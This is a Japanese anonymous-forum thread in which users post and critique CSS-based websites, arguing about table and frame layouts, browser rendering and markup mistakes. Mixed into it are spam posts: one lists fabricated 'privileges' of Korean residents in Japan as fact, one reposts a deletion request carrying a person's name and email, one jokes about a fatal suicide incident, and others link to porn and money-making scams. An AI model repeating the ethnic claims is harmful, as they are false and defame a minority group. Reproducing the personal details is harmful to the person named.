テキスト主体でさくさく軽く、
シンプル綺麗で使いやすい、
そんなサイトはありますか?

243 :
>>243
日本のサイトじゃないけど
これでも参考にしろ
http://www.workgroup.ie/

244 :
>>244
フレームだからスレ違い

245 :
>>234
スクロールバーが一度に三つも表示されるのは
到底"美し"いとはいえないが、
そこはいいのか?

246 :
そういうときはフレームかいじょすればいいとおもうよ

247 :
>>245
なんでフレーム=スレ違いなんだ。

248 :
坊やだからさ

249 :
>>247
それ>>246へのレス?
それじゃ全然"見た目が美しく使い易い"サイトじゃないじゃないか。

250 :
>>250
そんなムキにならんでも・・・。
俺の環境では"見た目が美しく使い易い"サイトといえるので
君の環境が美しくないだけだとおもうよ。

251 :
>>246>>234>>244を勘違いしているのだと思います。

252 :
>>252
別にムキにはなっとらんよ。
マンセーなレスばっかじゃうさんくさいじゃないw
>君の環境が美しくないだけだとおもうよ。
IEだと1280x1024でブラウザ最大化でもスクロールバー三つ出るんだよね。
そこを何とかすれば、なかなかいいサイトだと思うんだ。
グラフィカルなものを排除して、シンプルさと機能美に拘ったサイトだから、
環境を選ばないという面も追及してほしいじゃないか。
>>252
よくわからんが、>>244は見てもいないぞ。
>>234の話しかしていない。

253 :
そうか。IEか。


254 :
ん? IEでも普通なようだが。バージョンは?

255 :
>>255
あ、7べただった。6なら普通だった。
しかし、operaとIE7べた3だと、
上の"目次を表示"とかの部分が固定されてないんだよな。
どういうことだろ。
IE7はまだいいとしても、
operaには対応しといた方がいいんじゃないかなと思う。

256 :
そのオペラ、ブラウザ名称がIEになってたりして。

257 :
>>257
なんじゃそりゃw

258 :
UA情報をIEとして認識させてるってことじゃないか?

259 :
そんなん知らんと
オペラにも対応しろとか
ほんとにオペラ使っているのか

260 :
>>260
日本語で(ry
ひょっとしてoperaでそこが固定表示になってないの俺だけ?
俺のoperaがおかしいのか?

261 :
OperaはUAを詐称できるんだよ。
UA見ただけで弾かれるサイトも少なくないからだろうね。
IEと一緒にされたくなかったら設定を変えるといい。

262 :
"Operaとして認識させる"にしてたつもりがなってなかったみたいだ…orz
自分のおっちょこちょい体質が嫌になるぜ。
長々とスマンかった。

263 :
IEとして認識させるか否かは今回全く関係ないだろ。

264 :
少なくとも、うちのOperaでは関係あるが。

265 :
うちも

266 :
>>248
ここは基本的にフルCSSのサイトを紹介するスレ。
何を勘違いして迷い込んできたのか知らんが。

267 :
CSSで装飾してたら良いんじゃないの?
テーブルレイアウトじゃあるまいし。

268 :
あ、左のフレームはテーブルレイアウトだった・・・。
フレームの使用とCSSの装飾は関係なくね?って言いたかった。

269 :
StrictDTD限定とか言うならわかるが
そんな制限無いしな。

270 :
そこはニュアンスで

271 :
フレームレイアウトはテーブルレイアウトより悪いな。

272 :
どういう理屈でその二つを比較してるのか、わからないんだけど。

273 :
↑流れを読めない奴?

274 :
>>234ってそんなにいい?
俺には見た目の時点で全然に見えるんだけど。

275 :
全然に見えるってのはどういう意味だよ
しかし、ニュアンスで>>275に同感

276 :
↑その日本語の省略がわからないんなら、生きていくのが辛いと思う。

277 :
俺もどこがいいのか分からんかった。

278 :
>>234 は過去これほど拘ったフレームはないという点において評価できる。CSSに関しては美しくなくもない、良く言えばシンプル、悪く言えば手抜き。使い勝手に関しては結構良いと思うけど。

279 :
>>236,236,237,238,240,241
ここら辺はあまりに自演臭いしな。
真偽はしらんが。
まあそれはおいといて、この手のサイトで"見た目の美しさ"を追求したいなら、
余白の取り方や見出し部分などの装飾とかをもう少し考えないといけないと思う。

280 :
過疎あげ

281 :
>>9
リンクのとこにいちいちbgcolorがあるのがウザイ
左のタブがいちいち動くのがウザイ
動くタブがどのブラウザーで確認したのかしらんが
中途半端に切れててウザイ
この程度のページなんてきれいでもなんでもなく
普通

282 :
http://www.shinseibank.com/
如何でしょうか

283 :
>>283
CSSじゃないし

284 :
スレ間違えました

285 :
なんか祭りになってるっぽい
関西圏のWEB制作会社2
http://pc8.2ch.sc/test/read.cgi/hp/1144192292/351

351 名前:Name_Not_Found[age] 投稿日:2006/08/27(日) 15:16:23 ID:???
hp:Web制作管理[重要削除]
http://qb5.2ch.sc/test/read.cgi/saku2ch/1040109260/120
120 名前:ハダ[nagao-sw-oua@hotmail.co.jp] 投稿日:06/08/27 14:59 HOST:79.58.111.219.dy.bbexcite.jp
対象区分:[個人・三種]優先削除あり
削除対象アドレス:
http://pc8.2ch.sc/test/read.cgi/hp/1144192292/16
http://pc8.2ch.sc/test/read.cgi/hp/1144192292/17
http://pc8.2ch.sc/test/read.cgi/hp/1144192292/261
http://pc8.2ch.sc/test/read.cgi/hp/1144192292/264
http://pc8.2ch.sc/test/read.cgi/hp/1144192292/348
http://pc8.2ch.sc/test/read.cgi/hp/1023935314/691
http://pc8.2ch.sc/test/read.cgi/hp/1144192292/227
削除理由・詳細・その他:
削除依頼よろしくお願い致します。
対象アドレスにて、私の経歴と思われるwikiへの投稿(こちらは既に削除済み)へ
執拗なURLが貼られており、私の個人名、経歴などが晒されている他、
いかにも私本人がwikiへ投稿したとする誹謗中傷が相次いでいます。
また、私のみではなく、私の家族の写真、本名などが多く書き込まれ、
精神的な苦痛を感じております。
現在警察へは被害届けを提出しておりますが、こちらの対象アドレスを
削除していただかなければ根本的な解決になりません。

286 :
http://aspa.co.jp
このサイトの評価頼む。

287 :
>>287
いい写真が無いのかもしれんがせめてもう少し補正するべきかと。
全体的に暗すぎる。
内容の深さからするとグーグル検索はいらない。
http://www.mitsubishicorp.com/jp/
CSSじゃないけどこのサイトとか参考になるかも。

288 :
写真以外の色味もくすんでるね。
もうちょっと透明感がある色にしないと、イメージが良くないかと。

289 :
>>287
CSS以前にデザインセンスが?のように思う。
特に色づかいとレイアウト、そして書体選びの一貫性のなさ。
それに、会社ロゴとGoogleのバッティング。
企業のHPとして一番やってはならない事をやっちゃてる。orz
でも、ここの会社、HP制作やってるのね・・・大丈夫なのか?
人ごとながら心配になってしまう。

290 :
>>287
CSSデザインじゃないだろ
tableやらbrでデザインしてるやん
しかも、HTML 4.01には<right>タグなんてあるんだっけか

291 :
>>36
不正アクセスしてくるIPを晒すスレPart9
http://pc8.2ch.sc/test/read.cgi/sec/1147948775/721-
株式会社ハイデザインズ
http://qb5.2ch.sc/test/read.cgi/saku2ch/1158044436/
セキュリティ板に投稿したのですが、誤ってサーバーのドメイン名を記載したまま投稿してしまいました。
セキュリティ板に投稿したのですが、誤ってサーバーのドメイン名を記載したまま投稿してしまいました。
セキュリティ板に投稿したのですが、誤ってサーバーのドメイン名を記載したまま投稿してしまいました。
セキュリティ板に投稿したのですが、誤ってサーバーのドメイン名を記載したまま投稿してしまいました。
[HiDESIGNS] ハイデザインズ - WEBサイト総合プロダクション
http://www.hidesigns.co.jp/

292 :
>>284
CSSだろ?

293 :
>>293
tableやらbrでデザインしてるやん

294 :
ここどう?
ttp://nitram-nunca.main.jp/downloads/

295 :
>>295
もろdiv厨&字がちょい読みづらいけど
シンプルでいいんじゃないかな

296 :
>>294
少しでもCSS使ってるなら問題ないだろ?

297 :
>>297
問題あるよ。ここはそういうスレじゃない。

298 :
>>293
ハイブリット

299 :
table(HTML+CSS)⇒table&CSS⇒XHTML+CSS

300 :
屁理屈ならべられるならタイトルに「フルCSSで見た目が....」にでもしといたら?

301 :
古CSS

302 :
>>301
今からスレタイなんか変えられんだろうが。
このスレができた時は、まさか、少しでもCSS使ってればおkなんて
アホなこと言い出すやつが現れるとは、誰も思わんかっただろ。

303 :
>>303
まー思ってるのは1人だけだろうから気にせず行きましょう

304 :
>>303
次スレから「フルCSSで見た目が...」にすればいいと思うよ。
>>1あたりにも、「フルCSSのサイトが対象、一部のみ使用のサイトは含まない」とでも
入れておけばハッキリするでしょ。

305 :
次スレまでまだ700もあるぞ。

306 :
CSS使うならHTML、XHTMLが正しいことが前提
わざわざつけるまでもないっしょ

307 :
別にフルなのかどうかは、気になる奴がソース見てバカにするなり下に見るなりしたらいいんじゃないの
ハイブリッドでもなんでもいから取りあえず「美しく使いやすい」サイト貼ってけばいいと思うよ

308 :
>>22
>>24
一応スレの流れではハイブリッドは無しと言う方向。

309 :
(・∀・)ニヤニヤ
ttp://www.itmedia.co.jp/enterprise/articles/0610/31/news062.html

310 :
>何故これでうまく表示させることができているのかよく分からない
>謎のtableタグ構造を一掃できたのが、個人的には一番うれしいですね。
ちとワロタ

311 :
http://www.microsoft.com/japan/windows/windowsmedia/default.mspx
ところでmspxって何?

312 :
毎日ユニーク30人くらいいるのか
更新しなきゃな(´・ω・`)

313 :
誤爆、すまん

314 :
あいうえお

315 :
自作自演作者ども乙w

316 :
おまえらはうまい某の公式サイトにはかてないw

317 :
おれ>>>超えられない限界を超えた壁>>>>>>こえられない壁>>>>>>>オタク>>>おまえら

318 :
>>318
>>超えられない限界を超えた壁
これだと壁が限界を超えたことにw

319 :
そうか>317は成仏できたんだな
良かった良かった

320 :
フォームのレイアウトを参考にしようとこのスレを見ましたが
殆どテーブルレイアウトですね。
どこかフォームのレイアウトが上手いサイトはないですか?

321 :
自分の脳味噌で考えろ

322 :
久しぶりにこのスレにカキコしてみる。
http://veryroll.com/
余白にそこはかとなくセンスを感じる。
スクロール時間が長いのが少々気になるが。

323 :
フォームはテーブルで作ったほうがわかりやすい。

324 :
>>321
http://susu.cc/2007/05/25/mailform-script/
どうかな。

325 :
>>325
なるほど、 ラベルをフォームコントロールの後ろに付けるのか。 それはいい考えだ。
私は前に付けていたけれど、 それだとフォームコントロールの先頭が揃わなくて不恰好になりがちだった。

326 :
でもHTML的に前のほうがいいと思うから、そこはCSSでやってね。

327 :
音楽なるからうざい。
けど配色センスあり。
ttp://bruno.fem.jp/

328 :
>配色センスあり
プッ

329 :
>>328
とりあえずテーブルレイアウトやめようや

330 :
>>328
横幅でかすぎ。
1024*768でIEだと、最大化しても横スクロールバーがでてる。
はぁ・・・

331 :
見てきたが…確かにこの背景には負けるよ
ttp://www.yaokin.com/

332 :
ふむ。従業員50人で、年商100億というのは、優良企業でありますなあ
さすが、うまい棒発明企業だけ有るわ

333 :
>>332
テーブルレイアウトはスレ違い

334 :
これは社内制作なのか?w

335 :
ネタはスレ違いではない

336 :
ttp://www.meltgraphica.com/
ttp://www.snuffmag.jp/
ttp://wildcard.jp.org/info/
一番最後のが一番いいと思う。余白が綺麗。

337 :
>>337
一番下いいね。右の少し見える緑がアクセントになってて
ただ、なぜだかまぶしい

338 :
左?#fafafaくらいならちょうど良いと思う。

339 :
一応アーカイブ目的で置いておこう
ttp://www.nightwish.jp/
ttp://www.twilightning.jp/
批判は終わってるのでこれ以上は不要です

340 :
アーカイブ目的ならブックマークしてくれ。
批判されるとわかってんならださないでくれ。

341 :
安っぽいグロー文字だな。
ブログは普通。

342 :
ここしばらくブログは出てない気がするが。

343 :
あっちのスレみたいにひねくれた人はいないから大丈夫だよw
>>343
>>340の上のサイトがBloggerをカスタマイズしてる

344 :
あー、勘違いだ。
下のサイトの構成が典型的なブログっぽかったから、細部を見ずに判断してしまった。

345 :
下のサイト、spacerはさすがに無いだろ。
何のためのcssなのかと。

346 :
>337
右の少し見える緑というのが分からない
と思ったら窓小さくしたら見えた
窓最大だと太さが半分くらいになるのは何故だろうか

347 :
・字をデフォルト設定より小さくする
・画像素材を多用してレイアウトを整える
・Flashなどで派手にしたり、デザインを好きなようにしている
これ以外無いんですか?

348 :
>>348
・線で囲む
・色を塗る

349 :
h2、3などを見やすく、また使い方を統一する。
・タグで幅も変える
・配色の基本を抑える
個人的には見た目だけでなく使いやすさも重視したいな。
サイト全体で基本が同じ配置、並びだと使いやすい。
CSSを外部読み込みさせるなら必然的にそうなるけどさ。

350 :
あと、letter-spacingを上手に使ってあるサイトなんか上手いなぁと思う。

351 :
流れが止まってるようなので話題を。
最近になってデザインに興味が出てきたんだけど
ドラマやアニメのタイトルロゴって結構センスいいのが多いよね。
そういうのだけ集めたサイト見ると中々面白そうだ

352 :
>>352
出来上がるのを期待して待ってる

353 :
>>352
ゲームとかもね。
特にゲームは業界は色使いから画像加工までかなり勉強になるよ

354 :
プロは、素人の趣味のデザインと違って
何万もの客の目を引くために金貰ってデザインしてんだから
センスが悪かったらダメだろ、常識的に考えて…

355 :
タイトルロゴを集めたサイトを作るとして、問題になるのが著作権。
はてなのアンテナなんかだとリンク先のサムネイルがあってTOPページ
が表示されるけど、同じようなのを作ってロゴだけアップして表示したら
やっぱグレーゾーンか黒なんだろうな。

356 :
制作元を明記するなり、リンクするなりすれば
正当な引用としてセーフじゃないかな
少なくとも、ロゴを紹介することで
制作者の利益が損なわれてはいないのだし

357 :
ロゴは引用の形を取ったって所詮紹介にしかならないから
引用としては認められないだろ、多分。
ロゴの場合は著作権のみならず意匠登録も絡んでくるだろうから
さらに厳しいだろうし。

358 :
紹介でも引用じゃないのか。

359 :
ちげーよ
自分の論述の根拠として必要な場合のみ引用として認められるのが通常
紹介に論拠も何もあるか

360 :
自説を補強ないしは批判するための「引用」ではないけど
「紹介」だったらアフィリエイトみたいなもんで
紹介された側に不利益がなければいんじゃね?

361 :
どちらにしても違法

362 :
いい加減すれ違いなのに気づけ

363 :
>>361
紹介だけだったらWWWなんだからリンクを活用しろってことになる

364 :
ほとんどのブログは違法だな。

365 :
記載方法によってはグレーゾーンだな。

366 :
そもそもサイト内の画像への直リンは禁止してるだろ

367 :
どちらにしても間違いなく違法
ほとんどのブログが違法なのもそのとおり
通報すればすぐつぶせるよw

368 :
ttp://www.summitsystem.co.jp/
これはCSSでもしっかり特徴がある。

369 :
>>369
コレってテンプレじゃないの?
同じデザインで日本のサイトを最近見たけど。

370 :
http://www.inuiyosuke.jp/
これ?

371 :
>>371の人が制作したってだけの話。
works見れば載ってるし。
つーかこの人斜線使うデザインが多いな。

372 :
>>337


>>369
無理な崩し方にイラッと来るんですけど・・・。
果たして、堅いイメージの企業サイトで
少々はっちゃけたレイアウトをする意味があるのかどうか。
あと、文字の印象の空間支配力が弱いのに、やけにマージンをとっているなあ。
クリックするために、わざわざマウスを動かすのがだるい。
多分、この企業の客層には、受けないと思う。
完全オナニー。
このデザインには、安定感がないため
飽きがきやすい。
わりと短期間でデザインを変更したいタイプのクライアント向けじゃないのか?

373 :
>>369
良いんじゃない?レイアウトは普通だけど、デザインで特徴作ってるんじゃない?

374 :
http://www.chayu.net/
Firefoxでは悲惨なことになってるけど・・・

375 :
けど、じゃねーよ

376 :
>>375
Operaで見ても崩れます。

377 :
画像をあまり使ってなくても奇麗なサイトってないかな?

378 :
>>378
コンペやってるサイトがあるから見てくるといい。

379 :
というか画像を使ってる時点で綺麗とは言いがたい

380 :
>>373
>果たして、堅いイメージの企業サイトで
>少々はっちゃけたレイアウトをする意味があるのかどうか。
だからこそする価値あるのでは?
しかもそこは全然はっちゃけて無い上美しくも無いわけだがw
まぁ小言挨拶だけのために逐一FLASHうじゃうじゃ沸きあがるサイトより
遥かにマシだけどな。しかもメリハリあって使いやすいっちゃ使いやすいと
思う。ただあんなのがこのスレで取り沙汰されんのは面白くもなんともないし
企業サイトって根本からマンネリだから見ててデザインからして
たいして目を引くようなものもないしやめて欲しいとは思うんだが。

381 :
テーブルレイアウトだけどモスバーガーのサイトが好き。


382 :
>>382
スレタイ100000000000回読んで糞して山菜狩りしてこい!

383 :
いってきまああああああああす!!!!!!!!!!

384 :
>>384
毒キノコはカンベンな

385 :
ttp://spaceinfo.jaxa.jp/
目が痛いかもしれないけど

386 :
>>386
POPUP KEYWORD がウザイ。
IE6で見ると文章が途中で途切れる。
テキストの上でカーソルが動くと、砂時計出まくり。

387 :
CSSでJavaScriptを使うにはどうすればいいですか?

388 :
>>388
お前がビルから飛び降りる

389 :
>>389
レスありがとうございます。
さっそく飛び降りてきました。
あとはどうすればいいですか?

390 :
>>390
お前大変なことになっているぞ
・東京都豊島区南池袋1丁目の商業施設「池袋パルコ」前の路上で6日、東京都練馬区の無職の
 女性(25)の飛び降り自殺の巻き添えになり、意識不明の重体となっていた千葉県松戸市の
 会社員池田長武さん(38)が10日午前5時35分、都内の病院で死亡した。
 警視庁池袋署が10日に司法解剖して死因を詳しく調べる。
 調べでは、6日午後1時ごろ、池袋パルコ屋上から女性が飛び降り、路上にいた池田さんが巻き
 込まれた。池田さんは仕事が休みで、同僚に「知人に会いに池袋に行って来る」と話していたという。
 女性は全身を強く打って間もなく死亡。池田さんは顔面を複雑骨折するなどして入院していた。
 nikkansports.com http://www.nikkansports.com/general/f-gn-tp0-20071110-281257.html
※元ニューススレ
・【社会】 「こんな所で飛び降りるなんて」 池袋パルコから飛び降り自殺の25歳女性、精神疾患だった…下にいた男性巻き添え★6
 http://news22.2ch.sc/test/read.cgi/newsplus/1194457710/

391 :
あーあ

392 :
>>386
文字が小さくて読みにくい
横スクロールはじゃま

393 :
これ作った業者って読むことが目的のページだっていうのを理解してないな。
普段本もweb上の資料も読まないで惰性でサイト作ってるのかな。

394 :
これどう?
ttp://www.note-pc.biz/

395 :
うわ、あげてしまいました
すみません

396 :
ゆるしてあげます

397 :
>>395
いいなあ。
ただ、1ページの量が多すぎる気がするのと、テキストの文字は
もう少し大きくてもいいと思う。

398 :
>397
!--問い合わせバナー▼-->
<br /><br /><font size="+1">     <font color="red">▼▼▼</font>

399 :
http://web-selection.com/

400 :
これは好きかも

401 :
http://www.misawa-mrd.com/

402 :
>>400
結構いいな。

403 :
>>402
もうこうなってくるとパターンにハマってるだけって感じだな。

404 :
不動産のような高額商品のサイトは安心感が一番なんだよ。
そこをパターンにはまってるとかマンネリとか指摘しても、
ターゲット・客層を無視しているだけで無知を晒すだけ。

405 :
ガチムチでゴメン

406 :
検索画面にいくとフレームで上下分割されるのが気持ち悪いな

407 :
>>400
Googleのバナー集めてたサイト思いだした

408 :
>>405
安心感も何も、普通に見にくいと思うけどな。
1ページに情報が多くありすぎ。
よくあるアフィだらけのブログを思い出したよ。

409 :
大阪大学 http://www.osaka-u.ac.jp/

410 :
いいね

411 :
>>410
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0" id="container">

412 :
>>411
おいw
HTML 4.01+tableが良いとな!?w

413 :
ごく最近HP評価スレッドに投稿されていたCSSサイト
ttp://joykabu.sakura.ne.jp/
ttp://www.chira-miru.jp/udon/
ttp://8080seitai.com/

414 :
ttp://www.sugarcake.net/handmadel/
かなりピンクだけど

415 :
ざっと見たけどスレタイの使い易いは何を持って使い易いって
してるの?視覚障害者とかも含めて幅広く?このスレでの使い易いの
明確な定義がよく分からない。

416 :

いまいちかな?
http://www.tokaibus.jp/iliner/

417 :
美しくはないかも
http://www.kikuimoekisu.com/

418 :
>>418
コンテンツの内容にふいた
てか感心した!

419 :
キク・・・イモ?

420 :
画像の美しさも重要だけど日本語サイトは豆字が多いから
それは除外したいな。きれいでも豆字で読みにくいと萎える。

421 :
もうちっとお上手なものを貼れ

422 :
ここまでのを誰か解説してほしい。
好みで分かれる部分が多いけどさ。

423 :
津波荘を超えるものはない
以上

424 :
津波荘は綺麗で見やすいね。

425 :
娘娘飯店が好きといいたいが・・・
この流れだとカスイケと変わらない・・・。

426 :
津波荘のブックマークでエラーが出ちょる

427 :
なんだってー!!

428 :
WEBデザインの評価・リンク集 || WEBデザイン・データベース【WEBdeDB】
http://www.webdedb.com/

429 :
>>429
汚い構造ですね
なんか落ち着きのないアンバランスさ
あとフォントが汚く感じるのは配色のせいだろうね

430 :
メインコンテンツの配置がひどい
上のタイトル画像とかぶってるし、下を突き抜けてる
HTMLのソースはましだけど、レイアウトがありえね
ナビゲーションも下がった部分が、その上の見出しに含まれるってことだろうけど
いまいち、メリハリがなくて、構造がつかみにくい

431 :
>>431
後者は同意だが、前者はアリだと思うよ。
突き抜けてないデザインのほうが優れているなんて根拠ないし。
口出すべき箇所ではないわ。

432 :
言われてみれば、突き抜けるのもありかもしれんけど、この場合はどうだろってのはあるよ
下になっているボックスの下の背景って、地面なわけでしょ
しかも、右にも連続している
その下「このサイトについて」 「お問い合わせ」なんかは茶色っていう土の色
否応なく、地面を規定するんじゃない?
土の下に置くことに意味がある場合もあるけど、今回の突き抜けはそうする意味がわからん
ここら辺の感じかたは、個人差があるかもしれんが…

433 :
mixi的な配色がウザい

434 :
確かに突抜は良くないと思うな。
空と草原と大地が台無し。

435 :
火狐で崩れまくり。
デザイン以前だな。

436 :
IE7と比べて背景の位置しか違いなさそうだけど

437 :
http://www.cybergarden.net/
この人は何百ページにも及ぶ、専門書を出しているProfessionalなかたです。
もちろん、この人のWebサイトは高く評価されているでしょう。

438 :
それにしてもトップページの英文の訳が微妙にてきとーで、何だか間違い探しみたいでおもしろい。

439 :
>>438 なんていうか、口ぶりがねぇ
それは、ともかく
真ん中あたりにある英語と日本語訳のセットの部分
背景の文字もあることだし、左と上の線はありだけど、全体としてのレイアウトを考えるといまいちかも
あと、PRが必要なリンクだとおもうんだけど、目立ってない

440 :
>>438
ないない、本人もしくは儲乙

441 :
http://www.somes.co.jp
レノボのノートパソコンの革を作ってる会社
世界規模の会社に対してこの会社のHPはどう?

442 :
<div id="left">
<div id="right">
全然関係ないがそこのフラッシュ酔うなwww

443 :

あ、名前もさることながら、そのIDが幾つも使われてるから論外ってことね。

444 :
フラッシュの幅がナビゲーションとかと合ってないってどうなのさ

445 :
>>442
h4の使い方がおかしいだろ

446 :
常識的には<p>だな

447 :
>>437
文字の大きさを変えてみ。

448 :
このサイトどう?
ttp://www.geocities.jp/room0102_jp/hayate_chara/index.html

449 :
見た目はいいんでね
でも少々の文法違反なんてレベルじゃねーぞですね

450 :
たしかに、デザインもレイアウトもいいかんじだと思う
ただトップ絵が、汚い もうちょいまともな画像を用意しろと 著作権的にも
あと、リンクのところでマージンが揃わないのも気になる

451 :
ゴシックと明朝が混合してて、見栄えが悪くなってる。
あとこういうシンプルなサイトは、ちょっとバランスが崩れてただけで気になるから、
フォントのウェイトや文字間隔には最大限に配慮したほうがいい。

452 :
http://mousousystem.client.jp/


453 :
斬新なレイアウトだとおもったら
firefoxで崩れてただけだった

454 :
なんかどこにでもあるようなデザインだなぁ
アドビのサイト思い出しちまった。

455 :
なんだ、崩れてただけかorz

456 :
あげ!!!!

457 :
>>442
<div id="gloval-nav">
ワロタw

458 :
俺は<div id="navi">を平気で使ってるけど、ワロタか?

459 :
>>459
つ[http://eow.alc.co.jp/global]

460 :
>>458
お前性格悪いってよく言われるだろ。

461 :
箸が転んでもおかしい年頃って言うじゃない?

462 :
え?普通にグローバルナビて呼ぶだろ?
他に名前あんの?

463 :
うっかり誤字はたまにやるな
この前なんか1つのidが繁栄されてなかった
で1つ1つ調べいくと
<div id=**>123</dib> だったorz

464 :
グローバルはOK
グローヴァルはイクない

465 :
text-decolationとかたまにやっちまう

466 :
fontだったかtextだったか忘れてしまうことがある

467 :
綴りを忘れるというかiの数を間違えるのがvisibility。って合ってるか?

468 :
忘れねーよ・・・
「見える」という」visibleって単語は忘れるわけがなくて、
それを名詞にしたらいやおうにもvisibilityになるわい
>>467はたまにある(・∀・)

469 :
visibleとvisibilityでiの数が違うってのは逆に間違えやすいと思われ

470 :
どんだけ英語できないんだよw

471 :
先日とあるブログで
Windous Vistaと書いてる人がいた
どんだけローマ字好きなんだよw

472 :
>>470
大きなお世話かもしれんが、
secure -> security
ってふうに、名詞形になるときは最後の e をのけて -ity ってなるパターンが多い。

473 :
>>471
高尚乙。

474 :
http://www.nicovideo.jp/img/tpl/head/icon/nico/

475 :
へ〜。
そうやうと全部見れるんだ

476 :
ttp://www.microad.jp/publisher/
なんかかわいい

477 :
ちょっと、わかりにくい感じになるけど、好感度が持てるな

478 :
デザインだけ見れば、このスレの中で個人的に最も好感度高い。
ただ、この業種でこのルックスはどうなんだろう。OKなんだろうか。

479 :
ちょっと文字が小さすぎない?
自分はこの業界だからこそ、敢えてこのデザインが良いと思ったけど……。
(ラフな感じだけど手が込んでる≒実力 みたいな。)

480 :
安心感があるね。
ただ本文もこの文字サイズだと読む気にならない。
ソースも無駄が多い。

481 :
かわいいからゆるす

482 :
自演乙ってほどの褒めっぷりだな。
そんなよくもないだろ。

483 :
字がマイクロってことか……

484 :
字が小さいから読む気なくすって…
もうちょっとがんばって生きろよ

485 :
>>414の一番下のサイトみたいに画像背景をグレーアウトして出すのって
どうするの?

486 :
>>486
lightboxで検索

487 :
>>487
ありがとう

488 :
美しいサイト待ちあげ

489 :
http://www.netcube.ne.jp/
鯖やとしては珍しい配色かも。

490 :
>>490
h1の中にdivってありえなくね?
テーブルレイアウトだし

491 :
馬鹿丸出しのソースだな

492 :
見た目美しくないし

493 :
スレタイスレタイ

494 :
>>490
神サイトじゃん

495 :
>>495
自演乙

496 :
>>496
それは無い。

497 :
張り付いてる人は、そこそこ居る見たいだが
盛り上がってないスレだなー。

498 :
このスレを見るとウイルスが検知されるんだが

499 :
それはない

500 :
バスター様がうるさくなるのは確かだな。実害はないけど。

501 :
http://www.neighbors-inc.com/
ここはどないでしょう?

502 :
いいんじゃない?
フッターのバナーが気になるけど・・・

503 :
ttp://cocco.boy.jp/
雰囲気がいい

504 :
フォントサイズを無視してる環境だと論外

505 :
DOCTYPE宣言なし問題外

506 :
Firefoxで見てみろよ(笑)

507 :
div厨乙
でも絵うまいな。腐女子っぽいけど。同じような顔ばかりだけど。

508 :
Safariでも悲惨

509 :
絵のサイトとしてはいい雰囲気だな。見やすくていい。
これぐらいのフォントサイズならもんだいないな。
htmlやcssという観点から見たら微妙だけど。
素材サイトなんかだとフォント見えないわ、+などのキラキラが邪魔だわで入り口もよく分からんサイトが多い。

510 :
operaでも駄目だな。
グローバルナビがぐちゃぐちゃになるってのは……

511 :
>>504
自演か?
とりあえず、DOCTYPE宣言はちゃんと書け
ul要素には list-style : none、メニュー部分のa要素には display: block とそれぞれ指定しとけ

512 :
どうでもいいことで偉そうにしてんじゃねえよw

513 :
http://www.dream-baku.com/
ここ好きっやなあ。Flashかとおもた。

514 :
>>514
ちょ

515 :
和風でいいサイト知らない? 

516 :
http://www.deathofinformationmarketing.jp/
ここは

517 :
↑なんか詐欺っぽいサイト

518 :
>>517
なんかあまりCSS使ってないような。

519 :
ここって褒め殺しスレ?

520 :

ttp://koakuma.y29a.com/
こういうの作れたら若い女あつめれるんだろうなってサイト
楽天アフィ?の貼り方がうまいんだが、こーいう貼り方って規約OKなの?

521 :
↑ドキュソテーマのくせにストリクトかよ。

522 :
こんなのに集まるのか・・・

523 :
>>522
ストリクトじゃねーよw
超低レベルじゃんww

524 :
宣言の話だろう

525 :
評価:
ウェブマスターがホントに女の場合
『この手のサイトにしちゃあよく頑張ってる。上出来』
ウェブマスターが実は男の場合
『キモいページ作ってんじゃねーよカス』

526 :
>>516
ttp://akeishinbun.web.fc2.com/

527 :
>>521
しかし酷い作りだね
画像加工が激酷
37個のフレーム致命傷って、ありえんだろ

528 :
http://www.sakakida.com/

529 :
前スレで評価していただいた美容ベースです。
メニューの位置・カラーなど、その他もろもろ修正しました。
再度、評価をお願いいたします。
肌スキンケア・髪ヘアケア 美容ベース
http://biyoubase.com/

530 :
トップページにイメージ画像的なものがないとなんか不安だわw

531 :
相変わらず上部の空白が気になってしょうがないw
しかしdiv多いな、それに
<ul>
<li class="menu-top"><a href="/">トップページ</a></li>
</ul>
<ul>
<li class="menu-skin"><a href="/skin/">肌スキンケア</a></li>
</ul>
<ul>
<li class="menu-skin"><a href="/skin2/">肌スキンケア(小ネタ)</a></li>
</ul>
ってこれじゃ何のためのul liなんだか

532 :
《 在日が帰国しない理由 「在日特権」 》
http://www.geocities.co.jp/WallStreet-Bull/2487/
[地方税] 固定資産税の減免
[特別区] 民税・都民税の非課税
[特別区] 軽自動車税の減免
[年 金] 国民年金保険料の免除
        心身障害者扶養年金掛金の減免
[都営住宅] 共益費の免除住宅
         入居保証金の減免または徴収猶予
[水 道] 基本料金の免除
[下水道] 基本料金の免除
        水洗便所設備助成金の交付
[放 送] 放送受信料の免除
[交 通] 都営交通無料乗車券の交付 JR通勤定期券の割引
[清 掃] ごみ容器の無料貸与
        廃棄物処理手数料の免除
[衛 生] 保健所使用料・手数料の滅免
[教 育] 都立高等学校
        高等専門学校の授業料の免除
[通名]   なんと、公式書類にまで使える。( 会社登記、免許証、健康保険証など )
        民族系の金融機関に偽名で口座設立→犯罪、脱税し放題。
        職業不定の在日タレントも無敵。
        凶悪犯罪者の1/3は在日なのに実名では報道されない。
[生活保護] 家族の人数 × 4万円 + 家賃5万円 在日コリアンは、ほぼ無条件で貰えます。
         日本人は孤児だろうと病気だろうと、絶対に貰えない。
         予算枠の大半を、人口比率1%未満に過ぎない在日が独占。
         ニートは問題になっても、この特例は問題視されない。
[住民票]  「外国人登録原票」は通常、一般人では閲覧できない。
         ( 日本人の場合、債権関係の係争で住民票を閲覧される )
「生活保護予算の大半は在日だけの特権保護費」

533 :
>>529
jsも多分に貢献してるけど
見た目もいいしストレスも無くていいね

534 :
デフォルトに近いのが一番読みやすい
CSSなんて見出し部分だけで十分

535 :
そのデフォルトがブラウザによって違うのをどうしろというのか

536 :
.

537 :
無駄なレンダリングが入るので、個別にリセットした方がいい

538 :
創価R
創価R
創価R
創価R
創価R
創価R
創価R
創価R
創価R 
創価R
創価R
創価R
創価R
創価R
創価R
創価R
創価R
創価R
創価R
創価R
創価R
創価R

539 :
外国のサイトとか見てると、本当に日本はレベルが低いよね

540 :
もう生産する気ない
TF7など出ない、もうあきらめろ

541 :
リセットcssだけでいいよね

542 :
【極上】AV監督100人が選らんだ究極のおっぱいを初公開!【満足】
https://www.youtube.com/watch?v=kDfbXZZ15s4

543 :
http://jobinjapan.jp/job-listing/keyword-css.html

544 :
HPなどで友達が稼げるようになった情報とか

⇒ http://asaswq3wq.sblo.jp/article/181819223.html

興味がある人だけ見てください。

C1GILNG1I7

545 :2018/05/01
誰でもできる在宅ワーク儲かる方法
少しでも多くの方の役に立ちたいです
